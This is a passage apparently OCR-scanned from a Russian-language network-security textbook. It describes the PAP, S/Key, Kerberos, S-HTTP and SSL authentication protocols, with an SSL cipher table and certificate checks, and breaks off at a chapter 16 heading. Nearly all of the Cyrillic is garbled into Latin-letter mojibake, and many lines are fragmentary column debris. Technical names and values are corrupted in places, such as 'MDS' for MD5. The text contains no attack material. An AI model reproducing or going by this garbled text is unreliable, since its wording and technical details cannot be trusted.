CyObeKTOM, KEIAIOMMM HONYIHTs AOCTYII HCOQHOKPATHO JO HACTy-
IUICHUA OJHOIC U3 CIICHYIOIMX COOBITHIA:

— HOJYYCHUE MOXTBEPKACHNA WM OTKA32;
- HMCTEYCHHE CICTHHMKA NOMBITOK.

Ipz nomy4ermu 3anpoca oOBEKTOM POU3BOAUTCS PACHO3HA-
BaHME NOTYICHHBIX PE3YILTATOB (CPABHEHHE ¢ MMEIOMMMHCS V 00b-
exta 3Havenmamu). Ilo pesynstatam pacnozsHasanms CyOBEKTY BHI-
CBLITACTCH NAKET ¢ noneM Jlanmsie cregyiomero popmara:

Crpyxrypa nons «[{aunsie» PAP nakera-orsera

Jooma coobnrenua | CooOmenue

Tpu 1om B mone «Koa» ykaseisaeted 2 unw 3 (B 3aBHCHMOCTH
OT TOrO, MOATBEPXACHA ayTeHTHHKAIIS MM OTBEPTHYTA), B MONE
«HMpenmpuxarop» — HAeFTH(DHKATOP COOTBETCTBYIOUIETO 3a5POCa.
B nomsx orsera ykasmiBaercs: «[imma coobmenus» — pasmep cie-
Aytomero nons, «Coobmenne» — BO3NAraeTcs Ha KOHKPETHYIO pea-
JM3ALHI0, OHO 00A3aHO HE BAMATH Ha paboTy MPOTOKONA H PEKOMEH-
JIOBaHO (JOpMHUPOBATH €r0 YAOOHBEIM IS IPOYITCHUA.

JIONOIHUTENbHO YKA3aHO, YTO, MOCKONBKY MAaKET C MOATBEP-
XIACHUEM ayTeHTHOHKAUMH MOXET ObITh YTEPAH, Peanu3atius JOJDK-
Ha DPEAyCMATPHBATE BO3MOXHOCTE 00pabOTKH NOBTOPHOIO 3anpoca
HA ayTeHTH(AKAIMIO.

Taxum 06pazoM, cxema pabOTH IPOTOKONIA CISAYIOMA:

1. Ycranaemusaercs PPP cocaunenye.

2. Cybbext nocsutacT ayTeHTHOHKALFOHHBIN 3aMpOC C yKasa-
HHEM CBOEro HacHTH(UKATOpa M NAPONs.
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3. OOBeKT NpOBEPSCT MOIYYCHHbIE AAHHBIC M MOATBEPIKAACT
ayTeHTH(HKAUKIO VT OTKA3HIBAET B HEll.

Cnexyer obpaturs 0co0oe BHHMaHHWE, 9TC BeCh OOMEH JaH-
HBIMH (B TOM YHCJI€ H INEPECHUIKA IAPONS) POUCXOMIT B OTKPBITOM
Buje, 6e3 mpumenenus Kpunrorpaduueckux cpeacrs. IIpm sTom
9acTOTy H BPEMS OTHPABKM NAKETOB KOHTPOIHMPYET caM CYOBEKT.

Cucrema oanopasoBbix napoJeii S/Key.

Kax Mb! yxce rosoprum B riase 11, cucrema oaropa3oBsix ma-
ponei IPeHA3HAYCHA UM 3AIMTHl OT MOMBITOK NEPEXBaTa IIApoei.
B cucreme S/Key xaxpmas naponbHas (pasza nepeceiactcs mo CETH
TONBKO OJHAXKIBI M IOcie 9T0ro Oonrme He HCHONb3YeTCs, 9TO AC-
RaeT nmepexsar maponcii GecombiciCHbiv. CCKPCTHOC COBO, KOTO-
PHIN TONB30BATENL BBOAHT B MHTEpdeiice nporpamMmsl, BoOOIIE HU-
KOTAA HE HEPEChIIacTCA NO CeTH.

JaHHas cHcreMa OCHOBaHA Ha KIMEHT-CEPBEPHOM IIOAXOJE.
KiiMenT reHepupyeT OHOPa30BhIi APONb, CEPBEP €ro MPOBEPSCT.

Vicnons3oBanue 0AHOPA30BOrO MAPOA MPOUCXOMUT B TpH da-
3bi:

— Toarorosurensras. COOp AAHHBIX /11 BBOAA.
— Ienepamonnas. MHOroxpaTHoE NPUMEHEHHME  XOM-

byHKIHE K JAHHLM.
— BniBox. 64-OMTOBEIH ONHOPA30BhIH MApPOAb BEIBOAUTCH E

BEJIC, YAOOGHOM LA BOCAPHATHA MOMb30BATEIEM.

INepBOHaUANbHO KIHEHT M CEpBEp AOIDKHEI GuITh CKOHGUTY-
PHPOBAHE! JN MCIONB30BAHMS €AHHOTO CEXpeTa, T.€. OH JO/DKEH
NPUCYTCTBOBATS M y KIHEHTA (KENATENBHO, B MAMATH MOIb30BATE-
ns1), 1y cepsepa. Jlanee, A1 CO3MAHMA YHHKATHHOCTH OXHOPA30BOro
MapoNd KIHCHT M CEPBEP AODKHBI OMPEACINT: HEKOTOPE ClydaiHoe
YHCIO M YHCIO LUKJIOB NMPHUMEHEHUS X3m-QyHKUMH. DTH 3HAYCHUs
CEPBEP BHICBLIACT KIMEHTY B OTBET Ha 3anpoc o6 ayreTHdHKaimy.
INpu 3TOM HEOOXOAMMO Y4ECTH, YTO OXHOPA3OBLIC NAPOIH HCIOJb-
3yIOTCS CEPHAMH, B paMKaX OJHOH CEPHH CITYyIaiHOE YHCIIO OCTAETCH
MOCTOSHHBIM, A YHC/IO HTEPALMIA YMEHBINACTCA HAa 1 ¢ KDKABIM CIIy-
HacM HCIIOIbL30BAHUA apOIIA.
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Knue
oo r:('r CKIa/IbIBACT MOMYYEHHOE YHCTO CO CBOMM CEKPETOM U
HMEIOIEMYCS. 3HAYEHHIO
X3M-PYHKUHMIO CT:
CKOJIBKO YKa3aHO B qpC St Doy
1€ uKioB. Tlomyuennsrii 64-6 i
TaT u Oyxer npeacras i orp. Tk
AT CO00H 0aHOpa30BHIiL
IH 11apojs. [o
o 6 - [lockonpk
A TpebyeT yyactus TO/Ib30BATENA, MaHHBIA mapoms npeu)-,

pa3
C CT¢ 1C HHH ko1 1CCTB a ulil:'ICE l:‘]llle}{l) uc Er)‘E Ep) HEo E

Iporoxon Kerberos.

najamu inci
(amrm. principals), a AOBCPCHHEIA CepBEp Ha3mIBaiOT LCH-

TPOM pacnpese i o
ter KDC%,R #IeHIA kmovelt — LIPK (anri. Key Distribution Cen-
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B €H-

Tlockomky 1IPK obGecneunBaer cepnesHyro pabory mo ay;ro "

TH(UKAIEE B PACTIPEACICHHON CEeTH, B TOM YHCHE XPaHHT KII w
ay'l:emq:mmp-yemmx CyOBEKTOB M OOBEKTOB, K HEMY BHIABHIAIOT!

MOBHIIIEHHBIC TPeCoBaHus 110 6e30MacHOCTH: I

— OH JO/KeH ObiTh Pa3MCINCH B MOMCHICHUH ¢ KOHTP

BiM QH3HUCCKAM JOCTYIIOM; y

" di Ha CEpBEpe HE AOJOKHHI ObITH YCTAHOBJICHHI M 3anymenx
[IOCTOPOHHHUE TPOrPAMME! H IPOLECCH, HE OTHOCAMMECT K €ro Ip

MOH KIHOHANILHOCTH, -
(szOH HE NOJDKCH HCUIONB3OBATHCA A1l XPAHEHHU OCTOPO

JAHHBIX KU T. IL.

oJer
Paccmorpum obmiyro cxemy ayrenruduxammn. Kmenr x et
OCTYII X XakuM-mu00 pecypcaM Ha cepBepe, KOTophi
NOMY9IuTE JOCTYII K Xakum-iub <TopL
HHYEro O KIMeHTe He 3HacT. Ytolnl mpegocraBuTh Jxocryn“ xmi > IP!yT;:1 ‘
caM, cepBep JOJDKEH NEPBOHAYANBHO AyTCHTADMIMPOBA pomTa.
HOC,KOIIbe o0mue AaHHEIE O KJIMEHTE H O CCPBEPE €CTh Y AOBEP 1
i HE CCKPETHL,
HOro cepBepa (JOBEPCHHNIH CEpBEpP UMEET C HAMH 00 HK:) o
JUIS TIPOCTOTH — KJIIOYHM CHMMETPHIHOro wmudposanus),
T. €. :
O onepettd copacp. 061;;31;;1\;“ HEKUH CECCHOHHBIH KIIOY;
i T¢H
— JOBEPEHHbII CEpBep re o,
— mudpyer CeCCHOHHBIH K0T KIFOYOM KJIHCHTA M OTIIp

WCHTY, _
o mudpyer CECCHOHHBIN KIIIOY KIFOYOM CEPBEpa M OTIPABIL

€T CEpBepYy.

HHbIM
Teneps xiamentT u cepBep o0majaoT e,am:;?; of;;f; e
i O CTOPOHBI, O3BOJACT
KJIIOYOM, KOTOPHIH, C OH ey
ApYTy (1;u< xax 002 OHY JOBEPSIOT CEPBEPY, npe;noc'lanmosmemy o
CHOHHBIH KTIOY), ¢ APYTOH CTOPOHBLI, MO3BOAAET MOCTPOMTH 3aIl
AHHBIMH.
COCAMHEHHE JJ1st OOMEHa [ ,,
IneHHO}; nppjllnnxmﬁ B nportokone Kerberos TepMMHOIOrHH CECCHOH
‘ H-
HBIH KIIOY C CONMYTCTBYIOIMMMU JIAHHBIMH (HAaHMCHOBAHKC npnmnpnxﬂ
i KIOMOM :
¥ # T. I1.), 3amH(pOBaHHBIH
naja, BPEMEHHOMH ImITaMIx :
unna.ua,’ pﬂaabmae'rcn Ounerom (anri. ticket), uiaM MaHIaTOM. o
Ipu peamuzanuy NPOTOKONA YKa3aHHAA Boamoxma;x c emi
OBla HECKONBKO YCIOXKHECHA A o0ecrieyeHns cxop;cm d ﬂa,ua o
HocTH. Begp, ccnu KIMEHT yike NOMYYHII CECCHOHHBIH KITIOY,
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AOCTYII Kk pasinuuHbiM cepBepam PECYPCOB, TO eMy oueHs yacto pu-
ACTCSL MCKaTh B CBOCH 6a3e kmoun 31ux KIIMCHTOB, & KIMEHTY, COOT-
BETCTBEHHO, NpHAETCs Boe BPEMS N€PiKATL HATOTOBE CBOM MOCTOSH-
HBIH KIFOY IS CBSI3K ¢ AOBEPEHHBIM CEPBEPOM, UTO Hebe3omacHo.

B pab6oueii cxeme Kerberos AOBEPEHHLIH cepaep, BO-TIEPBEIX,
dopmupyer AOIOIHATENbHBI Outer s AOCTyna xiueHTa K cCamomy
AOBEPEHHOMY cepBepy (c APYTHM CECCHOHHLIM kimo4yom). Teneps
KIHCHTY ROCTAaTOYHO mOMEMTE TOJBKO 3TOT HOBBIH CECCHOHHDII

TUCTPaLMK HA JOBEPEHHOM cepsepe. Bo-BTophix, Bee Gumers; (xak
CCpBEpaM pecypcoB, Tak u k CamoMy 10BepeHHOMY CepBEPy) OTCHI-
TAIOTCA TONBKO KIHEHTY. Teneps yixe 3a6ota KIMEHTa npexocTaBuTs
BMECTE € 3anpocom Ha npeocTasienue Pecypca u Guner nas ganno-
TO cepeepa. Ay CCPBEP, HCNOMB3yst CROIH HOCTOAHHBIN K04, n3-
BICYCT U3 OuiieTa cecCHOHHEL KJIX0Y, KOTOpBIA Gyxer ucrons3osary
Anst pabotst ¢ kauenToM. Fonmy KIMEHT XO4YeT, 4yTobpr CepBEp TakKe

eMy Ourer, B KOTOPOM HaXOAMTCA CecCHOHHBIH Koy A NOBEpEH-
HOTO CepBepa.

B npunsroii Tipotoxone Kerberos tepmunonorum 6uner s
Pabotst ¢ xoBeperHbIM CCPBCPOM Ha3bIBacTCH GuiteToM Ha nomTyye-
HHE OmeToB (amro. ticket-granting—tickets — TGT), a 6uner mux
CCPBEpa pecypcos — Guerom Ha HonyueHue cepsuca (anr. ticket-
granting-service — TGS). Bee ykasannoie Ounersl u cBszanmbE ¢
HUMM KIFOYM NEHCTBUTENBHM TOMEKO A0 CpoKa WMCTeueHHs Gunera
M 110 BBIXOJA KITHEHTA U3 cety. Onpy COXPAHSAOTCS TONBKO B Ome-
PaTHBHOH mamaru; B T. 4. K3m-namste Ouyierop (anra. credentials
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cache) M yaansioTC MO MCTEUYEHHH CPOKA HJIH OKOHYAHWM PaboThI
KJIMCHTA B CCTH.

Takum obOpasoM, paboTa KIMEHTa CKIAJbIBACTCA W3 CICAYIO-
IUX [IAroB, KAXABIH U3 KOTOPHIX COCTABIACT OTAEILHBIN OAIPOTO-

ko nporokoina Kerberos.

1. Perucrpanus B ceru: moamnporokon «OOMeH JaHHBIMH CO
ciyx00H ayTeHTHDHKAIII».

1.1. I'lpu mepBoii perucTpauMy KiueHTa (MOIB30OBATENA) TpPE-
OyeTcs BBOA Mapoisi, KOTOPBIH npeobpasyercs B K104 mH(pOBaHHs
(cranmapTHbiit MeTox mpeobpasosanus — DES-CBC-MDS, HO MO-
ryT OBITH HCHONMB30BAHBI M JAPYrHe AJITOPHTMEI). JTOT KIIOY, KOTO-
PBLil CHUTACTCS TTOCTOSHHBIM MUITH JOJITOBPEMEHHBIM (IO CreAyIOIIeH
CMEHBI NIAPOJIs MOAb30BATEIEM), COXPAHAETCA B KIII-TTAMSATH.

1.2. Knuenr ¢opmupyer 3ampoC Ha  ayTCHTH(HKAIMIO
(KRB_AS_REQ — Kerberos Authentication Service Request), B ko-
TOPbI# BKIIIOYAOTCA HACHTH()UKATOP MONB30BATENS (IS MOMCKA €ro
KITI04a), UM CIyxObl BbLJaYH OHIIETOB, 4 TAIOKE NPEABAPHTEIbHBIC
ayTeHTH(QUKALMOHHBIE JAHHbBIE, KOTOPBIE MOTYT NMPEAOTBPATHTb 00-
palmmeHue 3IOyMBIIIIEHHHUKA 32 OHIIETOM OT MMEHM KIHEHTA (HAINpH-
Mep, 3ainu(hpoBaHHAS KJIIOUYOM KIMEHTA BPEMCHHASA METKA).

1.3. Kmuenr orceuraer LIPK 3anpoc KRB_AS_REQ.

1.4. JloBepeHHbIiA cepBEp, NOMYUHB 3anpoC, HIET B CBOEH Oa-
3¢ COOTBETCTBYIOIIHIT KIIHEHTY KITI0Y U IPOBEPSET NPEABAPUTEILHBIC
ayTeHTH(QHKALMOHHbIC JaHHBIC.

1.5. IMTocne ycmemsoit nposepku 1IPK dopmupyer ceccron-
HBIH KIIFOY M rOTOBUT OTBET Ha 3ampoc kaueHTa (KRB_AS_REP —
Kerberos Authentication Service Reply), kyaa BKIIIOYacT KOIMHIO CEC-
CHOHHOIO KJIIOYa, 3aHM(POBAHHOIO KIIOYOM KIHEHTa, U Omier
TGT, 3amudpoBaHHblif CBOUM MOCTOSHHBIM KITIOUOM, COACPIKAIIHH
elIe OJHY KOIMMIO CECCHOHHOTO KIII04a U1 ce0sl H aBTOPH3AHOHHEBIC
JIAHHBIC KJIMEHTA.

1.6. NoBepeHHBIH  CEpBEp  OTCHUIACT  KIMEHTY  OTBET
KRB_AS_REP.

1.7. Knuent, nonyuns orser, AemU(PYET CECCHOHHBIN KIIIOY,
coxpanser TGT-6uner B K3LI-NIaMATH, OTKY/Ja YAQISET CBOH IOCTO-
stuubi ko4, Teneps o6martscsa ¢ LIPK on Oyaer, ucnons3ys ceccn-
OHHBIH KJIIOY.
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CEPBCpa pecypeos.

2. Donyuenne n
2. 1o AP wa ocryn ke BC
mkong?-ﬁMcu()nm:'r.'lmn 11 IIOJIy'IClliJC»Cw(;Qpﬂﬂca)) Speon: no
. sy o N :
»rore - Kumenr pengacer nopaborars ¢ cepBepoM
T‘ mmcn!'r popmupycr sanpoc KRB TGS pRE Pty
icket-Granting-Service Request, xyza xmouarg 2 o rbe

2.2. Knuenr ore 3anp
cepaepy. itad oc KRB~TGS—REQ HAOBCPEHHO?

2.5. IIPK dopmupyer orper KRB_TGS_REp Kerber
_1GS_ — 0

Ticket-Granti i HHBI
mg-Service Reply

. e » KyZ2 nomemaer uosgiij cecen i

mlcmopmi 3anmMQpPOBAHHL CCCCHOHMEIM KInogonm KIIMEHTa, S, 1o

COCTOHT H3 TOro xe g TS, Ko

AGHHBIE O KIIHMEHTE, HeoGxXQ
PeCypcos, — Bce a10 3amupposano nocrog

pecypcos. HHEIM KIIOY0M cepsepa
2.6 Hosepen;
KiHenTy, PCHHBIH  cepaep OTCBUIACT OoTBeTr KRB TGS_REpP




¢ (on

THI C CEpBEPOM PECYPCOB, TGS s ARHHOrO cepnep:;;,’ﬂa:l ;‘jllgcmio |

HO) TPeOOBAHME NpPOM3BECTH B3aMMHYVIO ayTeHTHC @ .y >,
uKOHaJ;bz KomeHT OTIpaBIsAeT 3AMpoc KRB_AP_REQ cepsep

P ¢ MOMOIIBIO CBOCTO MOCTOAHHOTO LY

3. Cepsep pecypcoB oo
y paB'rop A3a1IOHHBIC JAHHBIC JUIS ompeaceHUs 1p )
Jatipeind p enra u3 TGS, ¢ OMOMRIO ITOI

eHTa H CecCHOHHBIA K09 Al KIH o O
CeaHCOBOro KIoHYa pemadpyeT ay-TCHTHG Aty m{bxq) .
KIMEHTA | TPOBEPACT TpeboBaBUE BIAMMHOH a;;'rxenmnmqamnnaumln v
ma Taxoe TpefoBanHC IpHCYTCTBYCT, or; O e,
KRB_AP_REP (Kerberos Application Rep y) Bp
hpoB HTA.

3amuppoBaHHYIO CECCHOMHBIM KINOMOM MXP KJIME -

3.4. CepBep OTCHIIACT OTBET KF‘(B_ m__REP‘“3 ;cmzliv m'y' Y.

3.5. Knuent, nOmyHE oTBET (daéqg;gzu ) narxyommm) -

cepsepa K p

Y a T ecpacpo TIpu 3TOM JAHHHIC moryT 1)

BOPHTBCA O APYrOM KIOHC.

PAKTED p beros

ycrricu nporoxona Ker .
)(g?mim:a TIPEHMYIIECTB POTOKOMA mnmqgc':o; y'rl(;n;x(, -
KIMEHT MOXET ObITh ayTeHTHGUIMPOBAH H noxys O 1
Bepy pecypcos BHE cBoeit 00nacTH ayTeHTHQUKAMY,

K2
[IPK2, npu ycnosuy, IO o6a HOBEPEHHBIX CEPBCPA LPK1 u 1P

] xpy coboit zoBepi
oBacTH, yCTaHOBHIH ME
0B CITyKUBAIOLIHX. CBOH

i oBaHUA TP
renbHBE OTHOLIEHUS (OnpeAeIHiH OBt K09 ;nn@;)e e
eCHLIIKE JAHHBIX MEXIY obnacTsiMu). B 3TOM CIyH o L
“crynep JUIs KIMEHTA B KaUCCTBO TAKOTO XK€ cepsepa P P
axé‘:c")’ry;;anemxoro ¥ MPEAOCTABNSIOMCTO CepBHC szncnx;m :
b -
TOI OB KIAEHTA OJABEAOMCTBCHHEIM eMy cepBepam pe y}:{ceoosxomm
e Bojiee TOro, BO3MOXHA CHTyails, KOTAA KIIMCHTY o
" , BHBEIX O
43 0B1acCTH, C KOTOpO# y €ro [IPK1 ner nosepy;rfy:;ﬂ _—
pecypcﬂmv no L{PK obenx obnacTell HMEIOT AOBEPCHHE oo
l:omgrbm’a 1IPK3. B aTom cnyHae KIHCHT TaKoKe MO)KC;)‘ m’n;m?rn :
TP (MpOBaH HA CEPBEPE BHE cpoeit 06acTy AYTCHTH onxwau . e
™ Cawm 1o cebe IpOTOKON Kerberos Cayxuar TOMbK o
Taduxaupy (10 eCTH OXTBEPAKACHHS, TTO KIUCHT SIBIIS ,

TOrO, 1
Koro ceOs BHIACT), HO HE A aBTOpH3ALHHI (onpenecHUA
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¥

paMKax KakuxX 1pas IJMcHT mMoxer paforars). Om#Haxo npoTokol
IPEAYCMATPUBACT B OWIICTC NOAC JAHHBIX, HCOOXOXHUMBIX IS TIPH-
MEHCHHA ABTOPHIALMOHHBIX NPABHN CHCTEMOH, B KOTOPOH KIHEHT
Oyaer ayreHTHOHUHPOBAH.

K mepocrarkam nporokona MOKHO OTHECTH HEOOXOAHMOCTH
00eCTIeueHNs CHHXPOHU3AHH YACOB BCEX YYACTHUKOB CHCTEMEL.

IIporoxon Secure-HTTP.

Secure-HTTP (ucnomesyrorcs coxpamenus S-HTTP wu
SHTTP) — mporokon, paspaGoranubiii ajis obecneuenns OGesonac-
HOCTH coolmeHui npHu ucrons3oBaHuy nporokona HTTP u obner-
YCHHOH HHTCTPALH C IIPHIOKCHHIMH, OpPHCHTHPOBAHHBIMM Ha
HTTP. Coxpaunss Bce xapaxrepucruxkd HTTP, nporokon nmosponser
OPOH3BOAHTH  AyTCHTH(HKANHIO, IMHQPOBAHHE,  SICKTPOHHO-
mudpoByIo MoAHCh coobmenni B moboi komGuratmu. IIpu sTom
IPOTOKOJ MOAACPIKMBACT KaK KPHITOrpaHaeckyio CXeMy € OTKpBI-
THIMH KJTFOUAMH, TAK B CHMMETpHUHYIO cxemy mmdposarus. Iporo-
KOJI TOAJEPAMBACT rH6KOE ONpEAC/ICHHE aJrOPHTMOB IHH(POBAHHS
€ XIOMOIBIO BO3MOXKHOCTH, HA3BIBACMOI MEPErOBOPH O IMapaMeTpax
(amrm, option negotiation). B Helt onpeaensioTcs TpE COCTaBIMIIONIHX
NPOTOKONA.

— Tpauzaximonssni Moayns — T. €. 6yaeT nu 3ampoc W/umm
orseT 3amu(ppoBaH W/HIN MOANHCAH.
— Kpunrrorpagudeckue anroparMbl — KaKue airopurMel Gy-

YT KCTIONAb3OBAHM 414 WH(POBaHHA K 3NCKTPOHHG-1EdpOBsH M4~
OMCH.

— Boi6op ceprudmxara — xaxoit u3 qudpoBrx CEPTHHHKATOB
HCIIONb30BATh.

i
3

Cuenyer yuecTs, 410 KaKk IPOTOKON IPHKIAJHOIO YPOBHS OH
samumaer htmil-aoxymesTE, HO OCTaBIET OTKPRITOH MHOPMANMIO
 HIDKCJIEHAIMMX YPOBHEH. JT0, IO-BUAMMOMY, OJHA M3 IPHYHH, IO
koropoii Ha npaktuke S-HTTP ucnons3yercs He oueHb HIMPOKO, ro-
Pas3zo pexe, 4eM MPOTOKONL! HE30MACHOCTH TPAHCIIOPTHOTO YPOBHS.

®opmuposarne SHTTP coobmenus NPOHCXOXUT DYTEM BHI-
Oopa M3 CHHCK2 aJTOPHTMOB HOJIL3OBATCIA M CEPBEpa ajrOPUTMOB
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i ¢ mocne-
mudposanyi 1 udpoBOR TONIHCH, 3 TAIOKE MX KIHOHICH ©
nyiomvgt :ﬁg:i::;:.co%mem (s HTTP dopmaT) Tpebyer Ipo-

: . _
P &paﬁgﬁﬁxﬁ BIGTIOYACT CTPOKY ::.anpocqz:é c:;l 1

i BOK TPOTOKONA, coAepIKaHue ¥ ommnm Em o
ey Sar(;/rligmpeceﬂ ApHHUMIL dopmupoBaHYA c'rpoe e
e [ii B HOKyMCHTC. Crpoka crarycd og;;() ixﬂmw
o npennox(eﬂﬂbﬂ pmeeT BUL «Secure—H'ITPIl 2200 .
pi cepsfxll)ﬂaoﬁ IH HEYAATHOH obpaboTku 3anpocaa.ﬂanﬂ3a o
om0 ycneaﬂo IS TPSAOTBPAICHI BOZMOKHOTO
m$e$;10M yCIEHbX 1 HeyCTemHbIX 33MPOCOB-

Qecure Socket Layer. N
Tiporoxos SeCUre S - eron, 1
Sgcure Socket Layer (SSL) B gacrosee BpeMi 6630Ham,(m )

Kaiyli, ORHAM B3 caMBIX TOMYJAPHBIX npormxon:;e - "
Hcr;omﬂoro ypOBHA, HCTIONb3yEMBIX B I/I}rrepcnen.ymmtioraﬂe .
o OpTHOM YPOBHC crexa TCP/IP, on pemacy
TpasHCII
- . yBEPCH
qu 06 paeT KOH(QUACHIMATBHOCTE JAHHBIX, T.C. Y f:iww
— OGecmes e
OCTb € TPaHCHOpTHP
aCKPHITH B XOX o
, YTO OHY HE OpLiw P o
. HEHTOM M CCPBEPOM, nyTeM pQpOBAHIL )121:10{;1‘; > s
o ALAX ypoaneﬁ (mpencTaBneHus U npnmamlosm,TCP Homaﬂmc.
cTO o TOTBKO CAYKEOHYIO yropMALHIO P T e
g O6ecneanBacT ayTenTAQUKAIIIO cepBepa, T-C. e
o HMCHH
paTens (KIHEHTa), IT0 OH mOaydaeT ROCTy
T10JIb30
oMy HEOOXOMMO- -
e e b:zno moxer obecreanBaTh ay'rer;rrmlm601 "
d TIUOHA. e "
o obecrieunBaTh yBEPEHHOCTD cepBepa, ro OH P
IINCHTA, T.C.
BaHHBIM KJIHCHTOM. ) ) "
camopm(()%ecnequnaer LENOCTHOCTD nepeAaBacMOH HH(EI)a pBMwXW"
_CpeHHOCTb qro wHbopMalma HC 65113 M3MEHE ,
L. , =
; yf:o THPOBKH MEHKIY KIMCHTOM H CEPBEPO I
e pO OHAJIBHO MOXET CKMMATh JAHHBIC A
— Omum

CKOPOCTH MEPEATH.
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Iporokon simonacr B ccOs ABa NOANPOTOKONA — HOOHPOO-
xon sanucu (SS1. record protocol), onpeensrommui popmar nepeaa-
YH JaHHBIX, W noonpomokon yemanoexu cessu (SSL handshake pro-
tocol), onpeacoIMil MCXaHU3M YCTAHOBKH COCRUHCHIS.

1. Homnporokon SSL-3anucu

OcroBHas GpyHKUHA MPOTOKOIIA 3anKuCcH — paboTa ¢ JaHHBIMH,
MOCTYIAIONMMH OT YPOBHA npwroxenns. Ha nepoM srane npons-
BOAUTCH (PparMEeHTHPOBAHKHE AAHHLIX B ONOKH UM JaNbHEHUeH 00-
paborku (6niok 16 384 Gaitra qua Bepcuu SSL 3.0). 3atem npomsso-
JAHTCH YMAaKOBKA (IPH OTIIPABICHHHK) HIM PAcNakoBKa (IPH NOTy4e-
HHM) JAHHBIX, €CM 3Ta onuud Obina 3agana. Jlanee mpomssoauTes
mubpoBaHue JAHHBIX TEM ANTOPHTMOM, KOTOPHIH ObLI OmpeAcneH
LT KITHEHTA H CepBEPa, a TAKKE YCTAHABIHBACTCH ayTCHTH(HKAIM-
OHHEIH KOX cooOmcwms (anry. message authentication code ——
MAC) mns obecnedeHus KOHTPOSS LETOCTHOCTH COODUICHHS.

Kpome Toro, ator moarnporokon Geper Ha cebsa QpyHxuuH re-
HECPUPOBaHUs COOOINEHNH 00 omHubOKax ¥ 3aKPHITHH CECCHH.

2. Hoamporokon vCTaHOBKY CBA3H

Flporokon ycraHOBKkHM CBsA3u 0OEcIEHHBACT HACTPOHKY MHO-

sxecTBa Kpunrorpadbuyeckux napamMerpos. B MoMeHT, xorsa KIMeHT
MHITASTCH YCTAHOBHTE COC

COCAHHEHHC € CCpB

¢ ¢ cepBepoM, 00e CTOPOHA! AOIK-
HBI:

— COrnacoBsaTk BCPCHIO NPOTOKOIA,

— corjacoBath ajaropur™m mudpoBaHud (BEOHpacTcs HauGO-

- Tee CTHHBIA M3 CIIMCKA NOIEPKHBACMBIX 00CHMH CTOPOHAMH);

— NPOM3BECTH AYTCHTH(PHKALHUIO CTOPOH (B3AUMHYIO HIM OX-

HOCTOPOHHIOIO);

— € MOMOWIBIO COrNacoBaAHHOr0 aJNropuT™Ma aCHMMETPHYHOrO

mubpoBass 0OMEHATLCA OOIMM CEKPETOM, Ha OCHOBE KOTOPOIrO
Oy AeT NPOU3BOAUTLCI CHMMETPHYHOES HIM(POBAHHUE.
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AnropurMmsl mudpopanus u ayreHTHRKAIIH,
NPHUMEHAEMBIC B nipoTokone SSL

Kondurypamms .
HIudposanme Ayrerrudrammus Toznepnaca pepout
TripleDES (168 6u) {SHA-1 (160 6m1) SSL2.0uSSL30
RC—4 (128 6ur) MDS (128 6ur) SSL 2.0 m SSL 3.0
RC-2 (128 6ur) MDS (128 6ur) SSL 2.0
DES (56 6ur) SHA-1 (160 6ur) SSL 2.0 = SSL 3.0 (s0 Bepcmy
HHOTZA Hcnome3yer MDS i
ayTeHTH()AKAINH COOOIEHHIH)
RC-4 (40 6ur) MDS (128 6mr) SSL 2.0 mSSL 3.0
RC-2 (40 6ur) MD5 (128 6ur) SSL 2.0 SSL 3.0
be3 mmdposamms  |[MDS5 (128 6ur) SSL.3.0

— DES — Data Encryption Standard;
— Triple-DES — Tpoiinoii DES;
~ RC2 u RC4 — Rivest Cipher 2 u Rivest Cipher 4 coorser-
CTBEHHO;
— DSA — Digital Signature Algoritm;
— MD5 — Message Digest 5;
— SHA-1 — Secure Hash Algoritm 1.

Ilponecc ayrenruduxammm ocroBaH wrdposbix cepTudUxa

Tax. Paccmorpum ero moapoGuee.
Korza xmsent nomyuaer mudposoii cepruduxar cepsepa, on

MPOBEPACT CIEAYIOMUE MAPAMETPHL.

— Cpok aeiicreus ceprudukara: NonasaeT v TEKymas fara i
3TOT TIEPHOJ, ECIIH HET — NpoLece 00paboTKH NpeKpamacTes, €Ciu
Jia — YIEPEXOUT K CIEAYIOMEMY Iary.

— Haxozurcs nu cyOnexr, suimyctuBmuii cepruduxar (CA -
Certification Authority), 8 crmcke noBepenurix CA ximmenra. Kax
IbEi KImeHT noyuepxmsaer crucok gosepennnix CA. Ecmm cyGobexi
OTCYTCTBYET B CIIMCKE —— CEPBEP HE ayTCHTHQUIMpYeTcs.

— Hicnone3ys orkporreifi ko4 CA w3 CIicKa JOBEPEHHbIX
CA, WIneHT NpoBEpACT KOPPEKTHOCTh 3MCKTPOHHO-1UGPOBOH 1ot
nucH Ha cepruduxare cepsepa. Ecnm moanuch HEKOppEKTHA, 1o

HpPEAIONATracTCs, YT0 CepTHHKAT GBI H3IMEHEH M HE IPHHUMAETCS!.
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- HPOBepacr
CH COOTBETCT:
name), yxasay BHE MMEHHU cepp .
M OHH Z(I)(Bnaa:oro B ceprudmiare, peam, HOM;p migi (anrz. domain
10T — CCpBep ayrenragmmpposay, P ooPa- Ec-

H2 370 3Havenye,

Knnem—a S: ggep PoOBCPACT, COOTBeTCTBYeT my OTKp
- Cepngﬂmm o o 3TOH Luposoii noxucy
1M Texy PACT Cpok aeticTeuy ¢ .
"ICaﬂ J4Ta B 3TOT nepuog epTaduKara, nonagaer
~ LepBep mposepser, pax
TH(HKAT, B » Haxomurcs nu CA, .
,c(eg) CIHCKE NOBEPEHHEIX CA cepBepa Bunyfmmmm Cep-
KHBACT Crincox AOBEpeHHRIX CA Pa. Kawzns cepsep mox-
— YCHOMB3Ys OTKPBITHIE g
CA, cepse TR xmoy CA w3 o
3 12 {
i PP 1poBepsier koppexTHOCTS mudposoi oa AOBEPeHHLIX
KaT(éKnneHTa. POBOR moxnucn na cep-
- _-CPBep mposepser
CImmcke ¢ > HaXoaurcs mu ¢
e CPTHOMKATOR KikeETOR, KOTOpHIE eprudukar knnenrs g
3HBL JAHHBIM CepBepon. OTYT BBITH ayrenTrgy-

Ha srom
M
Bonee p OTpCHHE npEMepop
TIOAPOGHO O3naKOMUTLC ¢ 3TPII\I:H H%Oy;grﬂm SONOHTIHM,
NPOTOKONaMy

c s
CTCBOH Ge3onachocTy MOXXHO B xHHTe [9]

211



TJABA 16. 3
TlonuTHKa pnhOpMaHOHHOH Geaonacﬂco::c;“
ABTOMATH3HPOBAHHBIE cpencrea Gesona

% - OIHOTO

Mi: ue Gynem 3aHUMATBCA pexIaMon Kaxozoogggfo M?:e{;me
YATH KS i SBIAETC

. Hameli 1enbio °

D et e om 7 BO3MOIKHOCTAMU CHCTEM 0e30

